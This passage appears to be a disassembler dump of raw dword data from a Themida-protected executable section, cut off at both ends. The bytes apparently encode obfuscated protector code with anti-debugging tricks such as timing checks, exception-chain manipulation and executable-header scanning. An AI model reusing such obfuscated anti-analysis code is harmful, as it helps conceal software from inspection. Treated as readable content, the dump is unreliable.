7D006h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 8BB6B621h, 0B0415BDh dd 6A6106h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0EBFCA1C3h, 0E99D6107h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0A1C35747h dd 2634EC9h, 0DEBF0FB3h, 0F75B58Bh, 6A060Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0D529E5C3h dd 95EC6693h, 459D095Fh, 8B060B09h, 75E9C1h, 66600000h dd 4A8D88Ch, 35840Fh, 16A0000h, 0B01B5FFh, 858D060Bh, 60E7D18h dd 8589D0FFh, 60B0F55h, 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah dd 1000Dh, 0F5595FFh, 32E9060Bh, 0C6000000h, 0B284585h dd 0DF685606h, 0FFA9C530h, 0B1355B5h, 18858D06h, 0FF060E7Dh dd 0A18589D0h, 8D060B33h, 0B0B6185h, 206A5006h, 0FF56056Ah dd 0B33A195h, 0C1C36106h, 4BEB06E0h, 2F0E0910h, 4B1AC53Ch dd 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h, 0CE1BF531h, 0D129B327h dd 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh, 1B00A6DBh, 1A0046BDh dd 0D5A3EAh, 9C000000h, 0FEC819h, 0FBFE4800h, 28000000h dd 0D427E641h, 0E9C3727Dh, 0D0Eh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 30C35242h, 0D6816007h, 29C043E9h dd 0C0816651h, 61590C30h, 6798589h, 0BD83060Bh, 60B0B19h dd 5C850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 7C59C351h, 305FA29Dh dd 8BD9BBBDh, 0B1241BDh, 8B605606h, 0B06C18Dh, 0FD9D8B06h dd 61060B29h, 0B859h, 0FE90000h, 0E5000000h, 0F36104DCh dd 8DAA9417h, 67CBE14Ah, 4C2FB3Fh, 850F00h, 8B000000h dd 2820FC0h, 8B000000h, 0BDBD83F9h, 60B05h, 0BD830975h dd 60B29D1h, 50137400h, 0B8C08B53h, 4D0h, 0B0EE9D8Dh, 0D3FF060Dh dd 0BD83585Bh, 60B29D1h, 50117400h, 4D0B853h, 9D8D0000h dd 60DB03Bh, 585BD3FFh, 6D9D2B57h, 59060B2Eh, 8BF9BF0Fh dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 8B66C3C0h, 999D8BCEh, 8D060B15h, 0F17EF85h dd 0B1BB6606h, 870F50F3h, 4, 877EB966h, 0F240489h, 680h dd 42EB8100h, 8D047768h, 0F17AC85h, 0F1816606h, 60503256h dd 0DCB4BABAh, 0AE81Bh, 6BB70000h, 83F64808h, 2EF5AE36h dd 489615Fh, 10E824h, 42420000h, 0DFAD6283h, 93FE1D63h dd 4B303DC1h, 0F58A2457h, 0A18D895Fh, 0FF060B02h, 0B052D95h dd 0A850F06h, 0F000000h, 481h, 0F5BF6600h, 24448BA3h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0F0B7C4C7h, 6E9971Eh, 0EA000000h, 0FB90901Fh, 0D785894Bh dd 6A060F17h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 0AD52C351h, 0FCB7208Fh, 9BAA1B2h dd 0B19599Dh, 24448B06h, 0C98D8B08h, 89060B31h, 0F17EB85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 394770F8h, 60413F4Dh, 14E890h, 69FD0000h dd 0D44B0FF5h, 56699C11h, 5B61DCB0h, 0A58FD808h, 0E7801A37h dd 0BD835BA4h, 60B31C5h, 0B7850F00h, 0F9000000h, 284585C6h dd 8047060Bh, 4E851DBh, 0D2000000h, 8BD49AA7h, 8AB250D6h dd 424448Bh, 8BA8B2h, 448984B2h, 6A580424h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0FF35C355h dd 0D6EA9E6Fh, 0C0189DC2h, 1355B5FFh, 0BF0F060Bh, 18858DC9h dd 89060E7Dh, 0B2991BDh, 6AD0FF06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2B90C357h dd 954E63BAh, 6649E529h, 89098DBBh, 0B31C585h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 958973EFh, 60B1A4Dh, 0BD835B51h, 60B13D1h, 0E5850F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 54A7C350h, 903125C3h, 0BFEBEB12h dd 57DE280Eh, 284585C6h, 0F847060Bh, 0CA94FC68h, 2404817Fh dd 0A4520E6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0DAC35747h, 0C2891519h, 147C886h, 0CE9B7h, 2D0F0000h dd 5D3DFC38h, 2894ED01h, 0BF0F29D7h, 55B5FFD0h, 6A060B13h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 7BC352h, 6E91F477h, 77A285C7h, 13E58531h dd 858D060Bh, 60E7D18h, 1B2D9D8Bh, 0D0FF060Bh, 39DF8166h dd 0D1858933h, 6A060B13h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0CDD5C351h, 95895154h dd 60B29D5h, 1975BD83h, 0F00060Bh, 0AE85h, 55958900h, 0C6060B1Ah dd 0B284585h, 6A5606h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 2AE0F2C3h, 20E04872h, 68CA8BDEh dd 0CBFB31C1h, 8B0F5260h, 0 dd 0D0EB958h, 8161451Ah, 5CF82434h, 31601FE4h, 0B06C985h dd 0B5FF6106h, 60B1355h, 8DD8B70Fh, 0E7D1885h, 11E906h dd 0ED510000h, 0B39E16A4h, 8D37DEEDh, 40407695h, 66C2A1AAh dd 7F93D281h, 9D89D0FFh, 60B1389h, 19758589h, 6A060Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0F24C3h, 0C62832BBh, 0B284585h, 9DB36C06h, 1AE30368h dd 10BB60E8h, 0BE2869E2h, 71EDDCC5h, 24348161h, 331F9380h dd 17FD9D89h, 0B5FF060Bh, 60B0B01h, 0D858DFCh, 66060B39h dd 97A4C381h, 0EE9h, 644CED00h, 49EFA9FCh, 0C4523383h dd 0FF4096D0h, 0CE9D0h, 5DD40000h, 18A8CD2h, 0CD984E1Ch dd 8589FF59h, 60F17DBh, 0EE8h, 3F26DD00h, 5C36B1E0h, 84B2F11Dh dd 0B2DC8F19h, 46A5FC7h, 78D0Fh, 890F0000h, 1, 90C068F8h dd 481D17Dh, 827F4024h, 0E860532Eh, 0Fh, 0C62F66D4h, 0B9C0237Bh dd 0E63042D1h, 5B870FE1h, 13E9h, 0EB239400h, 4929611Ah dd 0FFE5EFF5h, 0EFA5B75Fh, 54988F15h, 4E85961h, 0 dd 50000100h, 14E8h, 0E9506600h, 7670C19Ch, 699ECC35h dd 0B1DF8B10h, 0E42BFAFBh, 0CCBB669Fh, 448B59EEh, 0FFBA0424h dd 8B7AB27Bh, 0F793BB00h, 448934F1h, 8EB90424h, 58763EA3h dd 3281952Bh, 0F48A060Bh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0DA4904C3h, 95FF2DBDh dd 60B0B71h, 8589F1B3h, 60F17E7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 1CC35545h, 0F899255Bh, 21419531h dd 0F78A060Bh, 0BD8B006Ah, 60B005Dh, 865668h, 665250CAh dd 310FDE8Bh, 6E2D33BFh, 81585A14h, 79AA2404h, 0FEB53600h dd 89595350h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 58FC65C3h, 63D328A0h, 0FCBB6671h dd 600B6A12h, 23F08166h, 9E43BE5Ch, 8D613CA5h, 0F17B485h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0B6ADA348h, 509BDA77h, 0FE9C8F4h, 71000000h dd 95D56397h, 408D980Eh, 0A2B796B1h, 0CE8B1681h, 89CB8A50h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0A07D2EC3h, 0E94F02A7h, 0Eh, 14020A3Ch, 0ABE67AC5h dd 99C95256h, 95FFCD54h, 60B31C5h, 0EF2CB0BFh, 2ECA8145h dd 8D57A806h, 0F17BEB5h, 0F58D8B06h, 66060B19h, 5096D18Bh dd 59BDBA52h, 310F47C9h, 3846BF66h, 8B50585Ah, 0B96696FAh dd 4FBABF84h, 5023E765h, 11C6B860h, 0FA8B061Dh, 24048961h dd 14DD9523h, 95FF060Bh, 60B13D1h, 0B119D8Bh, 0DD80060Bh dd 0E9D0FF25h, 8, 0DD35616Eh, 422E3A5Ah, 17E7B58Bh, 0BF0F060Fh dd 0DF85C7FAh, 60F17h, 8B000000h, 0B2DE58Dh, 95896006h dd 60B15E9h, 0D8D7F6B8h, 7E80610Ah, 840F0020h, 394h, 2A8DB589h dd 6A60060Bh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 710AC351h, 414788D7h, 0FE8B9ED8h dd 6A20468Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 86FC351h, 6F4ADB3Ch, 70B9F773h dd 89456103h, 0F17E385h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0CA3C8997h, 179D7BC8h dd 8166788Eh, 6683EAE7h, 0AEB5E281h, 26E9F8h, 0BD090000h dd 60B1F41h, 52006A40h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 2DF2F870h, 0F003880h, 0FFFFD785h dd 1F860FFFh, 0E8000000h, 13h, 0E0997DF1h, 0F59ABE0Bh dd 21023972h, 8C20FED8h, 89C36B70h, 0B184D95h, 24E95B06h dd 0F000000h, 6A48DEBFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0CBCFC351h, 80DEB70Fh dd 840F5C38h, 77h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 1CC35747h, 0AE900h, 35F90000h, 1384DC65h dd 886214D1h, 0FF0E04BAh, 2F388046h, 3D840Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 49D03DC3h, 68D0F5Eh, 89000000h, 0B0BDD95h, 0E3853B06h dd 0F060F17h, 0FFFF6583h, 599D8BFFh, 40060B1Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9CC35747h, 17EBBD83h dd 0F00060Fh, 0BD84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0FFF3497Fh, 0F045B5Dh dd 680h, 0DAD28100h, 503C5CF0h, 0DE8h, 0AA450E00h, 1E6D034h dd 1DDA2920h, 0BA667DEFh, 895B5B25h, 0B70F2404h, 3D0B5FBh dd 0F17EB85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 99D8B7Ch, 89060B02h, 0B1F8595h, 0C606h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0EBC35141h dd 0B48B8753h, 0FE8h, 0AA87FC00h, 0C78002FEh, 0C57F02F7h dd 60CB0C33h, 585AB8B6h, 1FC9BD01h, 8950060Bh, 6A2404h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 614CD8C3h, 0E957D0EBh, 6, 0F786DB78h, 0BF0FF0FBh, 0D7B5FFD7h dd 6A060F17h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h dword_57E300 dd 654FC356h, 0A618536Eh, 13E9h, 9ACB9E00h, 0C8FC970h ; DATA XREF: Themida_:0053E900o dd 952ED7E7h, 5BCE7009h, 4E0E335Fh, 17DB95FFh, 0B650060Fh dd 0C00B5924h, 4D850Fh, 8D8B0000h, 60B211Dh, 50B96661h dd 0C18166B3h, 85C7F52Eh, 60F17DFh, 1, 183D8D33h, 75E9060Bh dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 0A049C350h, 0DD2BF933h, 71BD0B20h dd 61060B0Eh, 81CAB70Fh, 11CC6h, 2DBD0900h, 0E9060B09h dd 0FFFFFC9Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 99C35040h, 0E8D5A992h, 0Dh, 9C0DFF23h, 4DC6A985h dd 337E1B96h, 398D29FFh, 5B060B2Fh, 801F6968h, 128E0F00h dd 0E8000000h, 0Ah, 0D644025Ah, 6C2E7C34h, 5B5647D3h, 2434815Bh dd 809F69h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 25C35141h, 0BA449A37h, 6DAF9A3h, 8D89006Ah, 60B0F2Dh dd 17E7B5FFh, 0E580060Fh, 7595FFC1h, 0F060B19h, 858BD7BFh dd 60F17DFh, 0ACC98CB9h, 9E9900Bh, 3000000h, 71EF014Fh dd 74942902h, 28F0F50h, 8A000000h, 958990D3h, 60B20C1h dd 17EF858Dh, 0B760060Fh, 0F9B58B6Ah, 61060B23h, 50D38B90h dd 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 47968122h, 5DF2814Fh, 8D6B8EDAh, 0F17AC85h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 5090F396h, 6A90DA8Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0CC07C352h dd 0F0E38ED0h, 0B9B5894Ah, 0FF060B0Fh, 0B21ED95h, 8BEE8A06h dd 0BE9C0h, 0BA580000h, 0E171D12h, 0B8A28C0Ah, 0BDBD833Dh dd 60B05h, 0BD830975h, 60B29D1h, 50137400h, 0B8C08B53h dd 4D0h, 0B1559D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h dd 50117400h, 4D0B853h, 9D8D0000h, 60DB054h, 585BD3FFh dd 4359529h, 8F0F060Bh, 2, 6A33B6h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 0CCE76BC3h dd 8B2DD180h, 4840FC0h, 66000000h, 58E0FBB9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 60C35040h, 5E8h dd 0EFCFB300h, 0E1810F1Fh, 1AD08BB5h, 8C25Bh, 0CAB1C381h dd 0C08B4135h, 32B99D8Bh, 858D060Bh, 60F182Eh, 0B7D1C281h dd 858968C7h, 60B0781h, 0E0000BAh, 0EA81F0h, 83F00000h dd 958914C2h, 60B2065h, 8D14EA83h, 0F25CA85h, 0FF645006h dd 35h, 25896400h, 0 dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh dd 12h, 3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 60B159Dh, 0F3C4003h dd 890650B7h, 0B17B595h, 50508B06h, 0C699589h, 0F805060Bh dd 8B000000h, 0D1030C50h, 1B959589h, 5003060Bh, 1958908h dd 64060B2Eh, 58Fh, 0C4830000h, 13E904h, 8B510000h, 8110244Ch dd 0B0A9h, 100000h, 0C0335900h, 15BD83C3h, 60B27h, 24840Fh dd 85C60000h, 60B2845h, 0A7D26847h, 0B5FFD49Ah, 60B1355h dd 7D18858Dh, 0D0FF060Eh, 0D0FF006Ah, 0E258589h, 0D38B060Bh dd 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0EE99Fh, 9AB80000h, 2AE11BAFh, 33D8DCF9h dd 9D629391h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0BB9F64C3h, 0BDBD83F3h, 60B05h dd 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h, 438h, 2A358589h dd 9D8D060Bh, 60DB31Ah, 585BD3FFh, 29D1BD83h, 7400060Bh dd 0B8535017h, 438h, 2A358589h, 9D8D060Bh, 60DB009h, 585BD3FFh dd 0BC99D89h, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 14E9FFC3h, 0A7000000h, 0ED9FC65Bh dd 1D0D6612h, 266AA778h, 0AA93998Eh, 8B995C92h, 1810FC0h dd 0F8000000h, 7EDE8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0FC6515CDh, 8928A058h dd 0B0419B5h, 0DD858906h, 6A060B1Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 97CCC356h dd 0F823B354h, 11E9AFh, 60620000h, 9F1AE1EBh, 27E08D1h dd 8FB8F400h, 0E83DBA85h, 782h, 10159D29h, 8D8B060Bh, 60B1571h dd 1A498589h, 0BD33060Bh, 60B28EDh, 765E8h, 0C9B70F00h dd 19C98589h, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0C042C1C3h, 40A0006Eh, 0B52994CAh dd 60B092Dh, 54A8DE81h, 27E83415h, 6A000007h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 1E5C353h, 0B12E18Dh, 7D858906h, 6A060B1Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0DFA5C355h, 0A62FC6EBh, 21D8D09h, 0D3E8060Bh, 0E9000006h dd 0Ah, 0D26EE275h, 0DBDF157Fh, 8589A7CFh, 60B2A41h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0DBC35242h, 3250583h dd 0D975C2BEh, 694E8C1h, 8D290000h, 60B0F41h, 27058589h dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 29851CC3h, 0FEBEE7B5h, 0E8235667h, 65Eh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 6FC35646h dd 65B589FCh, 89060B22h, 0B1AA985h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 4EA252B9h dd 3CC8A546h, 0F78B6657h, 608E85Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 2F28BCC3h dd 0A07C26C8h, 5E864ACh, 0C2000000h, 0C6B52EB7h, 5FCF8B66h dd 1058589h, 11E9060Bh, 71000000h, 0A9A173C1h, 7A09DDAh dd 3AEB0300h, 811E12F5h, 5B5E8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 318589DBh dd 0BE060B1Ah, 17035366h, 0FE8h, 50612300h, 9A3A6EDAh dd 1A8DC29h, 1A03E192h, 2AADBD8Bh, 0E859060Bh, 56Eh, 9E9h dd 1ECB3200h, 7F678B18h, 85893090h, 60B0ED9h, 318D8Bh dd 4FE8060Bh, 0B000005h, 0B29E5BDh, 55858906h, 66060B23h dd 3BE8F88Bh, 66000005h, 5FDFE981h, 21D98589h, 6A060Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 9EF94CC3h, 57C78166h, 508E8C5h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 634A77C3h dd 0F1D3369Eh, 10E9h, 6ADB9C00h, 581D2D12h, 3C5D26DBh dd 6C53225Eh, 8D8589C6h, 60060B1Fh, 0BE951h, 9F380000h dd 405BD92Fh, 193340FFh, 0C78B5F5Ch, 4B0E861h, 85890000h dd 60B0FD5h, 5719509h, 9FE8060Bh, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 6665C357h, 54F68166h, 0A5858908h, 6A060B0Dh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 7189C357h, 0B4829C94h, 0CDBD8B1Bh, 0E8060B32h, 44Ah dd 96DE8166h, 0A985892Fh, 6A060B12h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 7CBBC356h dd 51F65667h, 13E857h, 0B3360000h, 2891C685h, 9E1E59AAh dd 0B308EC0Bh, 6D335417h, 0B05FF86Dh, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 1D8D2310h, 60060B24h, 0F580F98Bh, 0B60F6115h, 57006AD8h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 6BADFh, 0BD8B0000h, 60B21C1h, 8BFBB70Fh, 95C5BFC3h dd 0E8C114D2h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 922A806Fh, 5D434BDCh dd 8AEE8166h, 0E2F76663h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 4C35545h, 23CE08C1h, 0C781ABE5h, 1CAB9D04h dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 49701AC3h, 8E850h, 0EC280000h, 29622717h dd 6650F8B4h, 5E59F78Bh, 6A241C89h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8925C357h dd 0B13FD8Dh, 0ED95FF06h, 5B060B18h, 12E9h, 0B7243D00h dd 0E082D050h, 3028879Ah, 0BC0CD60Ch, 66D0E3AEh, 958DCB8Bh dd 60B182Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0F8C35343h, 39361445h, 0E26EA8Eh, 2860FABh, 8B000000h dd 0BE1A89F1h, 5D07294Eh, 89F78B66h, 7DBE0442h, 89785670h dd 0B31559Dh, 1D958D06h, 0F060B04h, 180h, 1A89F900h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3CC35747h, 29B5899Ch dd 89060B04h, 6A0442h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0D204B7C3h, 7E1C510Dh, 958DC88Bh dd 60B2075h, 33499589h, 13E9060Bh, 87000000h, 1A8E298Ch dd 139D9F76h, 1BA20158h, 31B021EAh, 1A89FFB5h, 19B58960h dd 0E8060B07h, 0Ch, 7CB0363Dh, 0BAA4918Ah, 899F4206h, 5EC88B66h dd 0FE961h, 3E620000h, 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah dd 44289DDh, 958DF38Bh, 60B15E1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 3AC35242h, 0DEA0FE58h, 5E91040Ch dd 6A1A89h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0E0CDA9C3h, 3467FA3Fh, 0B589A0DFh, 60B15C9h dd 6A044289h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0EABFC353h, 0A5EC56FDh, 8B536036h dd 0B04198Dh, 858B5F06h, 60B04B5h, 0D58D3361h, 8D060B26h dd 0B042D95h, 80BE6606h, 661A8907h, 3415C181h, 3044289h dd 0B0FBDB5h, 12E806h, 0D6570000h, 862BAC35h, 78802DC7h dd 0D3233C30h, 8B1A358Ch, 1FADB58Bh, 8D5F060Bh, 0B2A1D95h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0E960825Ah, 9, 0AC9ACFB8h, 9DB80286h, 29958B46h dd 61060B2Bh, 0BF0F1A89h, 44289F6h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0EC35545h, 1FCA6EAh, 0B120D8Dh dd 39958D06h, 29060B21h, 0B2881BDh, 6A1A8906h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 68F2C353h, 2061BD8Bh, 4289060Bh, 318D8B04h, 8D060B00h dd 0B329195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0A63430E0h, 0E7E1CE96h, 6A1A8912h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 79C4C355h, 0CB8DE535h, 837FD023h, 0C5B96660h dd 0D185014Ah, 61060B21h, 0E9044289h, 95h, 10218D8Bh, 6A060Bh dd 127DBD89h, 6A060Bh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 39C35040h, 0E88A7D68h, 22418501h, 6A060Bh dd 0F162CABFh, 6A006A72h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 1BF1C351h, 0FFF38BD3h dd 0B27A595h, 6AC306h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 542FE4C3h, 1E1D438Bh, 15B50B3Ah dd 81060B2Fh, 0DDEDA7D7h, 6AC58A27h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8947C356h dd 0B03A98Dh, 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0A9FFC356h, 0BE9h dd 91082A00h, 0E4C6DE9Ah, 0B2B5B248h, 1415B533h, 0BD83060Bh dd 60B05BDh, 83097500h, 0B29D1BDh, 19740006h, 0C08B5350h dd 438B8h, 99858900h, 8D060B12h, 0DB3819Dh, 5BD3FF06h dd 0D1BD8358h, 60B29h, 53501774h, 438B8h, 99858900h, 8D060B12h dd 0DB0229Dh, 5BD3FF06h, 0D9BD8B58h, 6A060B2Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 2762C356h, 0F8D12F87h, 58C0Fh, 81660000h, 8BC280E6h dd 0A9858DC0h, 6A060B28h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 7EB3C351h, 6F55F49Bh dd 50DE8B66h, 8E9h, 27530B00h, 42C7652Eh, 24048996h, 0B971E781h dd 6A48DBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 4FC35141h, 6A2CD8h, 8E9h, 0B4BE1D00h, 158895D7h dd 7D858D32h, 6A060F32h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 3311C352h, 0B0311BDh dd 81666006h, 0B5CD21F2h, 0BD8B614Ah, 60B2069h, 6605C083h dd 1ECFF781h, 0D88B5250h, 2404895Fh, 2A298509h, 6A060Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7BC35141h dd 28E81EAh, 0E9334170h, 14h, 3273BC9Fh, 11929170h, 0DD8EA212h dd 488ADDA5h, 0E4BCA268h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0B44A7EC3h, 0DC969443h dd 9589CDAFh, 60B1B79h, 2195FFF5h, 0E9060B2Fh, 0Bh, 0E75F6FE6h dd 3D706EF0h, 8D372EA9h, 0EA7B08Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 13E8CCF0h dd 0EB000000h, 0BAE7F977h, 17F67467h, 0C0B43181h, 79731960h dd 8589B9BAh, 60B2D89h, 6AD1FF5Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 454CC352h dd 6655A330h, 0A20EE381h, 0B19BD83h, 0F01060Bh, 8085h dd 71BD2300h, 6A060B31h, 0BE802h, 1AFD0000h, 0B7ED6243h dd 0ADC39C23h, 0B1BD09D6h, 5B060B32h, 0FE95790h, 8F000000h dd 623C6197h, 284ABAE0h, 3DE9E3BDh, 505B38A8h, 0BF665250h dd 310FB4F8h, 6AB96660h, 48B86641h, 585A6167h, 57006A90h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 42E7D104h, 3100E5F6h, 0B03D58Dh, 1595FF06h, 0B060B0Fh dd 0B2B61BDh, 0C9CE906h, 0E80000h, 5D000000h, 3287ED81h dd 8509060Fh, 60B16B9h, 10759D03h, 858D060Bh, 60E9293h dd 90ADDF80h, 10E95360h, 63000000h, 39570609h, 0A5190ABDh dd 994116D1h, 5A8FCE5Ch, 3274BF60h, 47BB4FBBh, 6140B5E7h dd 52505061h, 6860Fh, 840F0000h, 0 dd 0BF66310Fh, 585A266Eh, 11B58990h, 64060B1Ah, 35FFh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 0DDEA9FC3h, 0D52A9569h, 89E5B396h, 0B24B9BDh dd 25896406h, 0 dd 48B0Fh, 0BF660000h, 85FF5111h, 60B066Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 77C35040h, 8B70412Fh dd 0B20C1BDh, 0FFFF6A06h, 0B1ADDB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 896A5653h dd 0B07F99Dh, 1195FF06h, 0E9060B24h, 10Fh, 0F800Fh, 0AE90000h dd 0D1000000h, 